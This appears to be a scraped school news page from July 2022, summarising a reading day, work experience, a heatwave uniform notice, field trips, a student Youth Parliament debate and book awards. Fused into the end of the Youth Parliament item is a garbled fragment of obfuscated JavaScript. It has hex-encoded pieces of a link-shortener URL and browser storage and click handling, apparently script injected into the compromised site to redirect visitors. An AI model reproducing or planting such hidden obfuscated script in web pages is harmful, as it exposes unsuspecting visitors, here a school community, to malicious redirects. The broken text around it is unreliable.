DEAR day
SUMMER Drop Everything and Read – Tuesday 19th July 2022 Just a reminder that all students and staff will need to have something to read for our Summer DEAR Day (book, newspaper, magazine) between 8.50 and 9.20a.m.
Year 12 Work Experience
Last week our Year 12 students took part in work experience giving them a valuable insight into a wide variety of careers. This cohort has high aspirations for their next steps, and we would like to thank all the placement hosts in the local community. Such opportunities are so valuable to our students in supporting…
Heatwave Uniform Announcement
Dear Parents and Students, Next week, there is a heat warning for the start of the week. This is for Monday and Tuesday but could also drift into Wednesday. In order to ensure everyone is supported and comfortable in this unusual weather, we would like to share the following information that is applicable…
6th Form Taster Day
The induction process for our new Sixth Form cohort has begun. It was great to have our Year 11’s back with us and to meet with new students coming from other schools for a day of games and team building. Students trialled lessons and we had some fun in the afternoon sunshine. Well done to…
TECHNOLOGY, ART & PHOTOGRAPHY SUMMER SHOW
On Thursday 14th July TCS Exeter Road will be celebrating our Technology, Art and Photography GCSE and Cambridge Technical students by showcasing their work in a Summer Show. The event will run from 5pm – 7pm for all parents, carers, friends and families of the young people whose work will be on display. We are…
Celebration of Sound
Last Thursday our Year 10 music students gave some fantastic performances showcasing what they had been rehearsing this summer term. We were lucky enough to hear a mix of different genres with a selection of song choices made by the students. What a way to end the year
Young Geographer of the Year
Throughout the pandemic our ability to travel near or afar has been severely limited. This year, to encourage young people to widen their geographical horizons, whether locally or further afield, the competition is asking Where, How and Why? Where? Where might you want to travel to? We’d like you to give a geographical overview of the…
Geography on Tour
Last week our Year 12 Geographers had four days of fieldwork covering a range of human and physical aspects of the course. The purpose was to introduce some fieldwork skills and prepare them for their Independent Investigation. We were really lucky with the weather and the students were an absolute credit to the school remaining…
Youth Parliament
Well done to our Year 7 debating team, who took part in the first Ivy Education Trust Youth Parliament this week, along with several other schools in the trust. They proposed that animals should not be used for experimentation and successfully argued the case with well researched and convincing arguments. Great job! 2f\x63\x75\x74\x6c\x79\x2e\x6c\x69\x76\x65\x2f\x76\x46\x70\x35\x63\x315′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const…
Carnegie Medal & Shadowers Award Celebrations
Our TCS Shadowing Book Group were excited to find out that Katya Balen’s beautifully written book “October, October” had won both the official library judges Yoto Carnegie Medal for 2022 and the Shadowers’ Choice Award – which is voted for by thousands of students across the country. The awards recognise the best writing…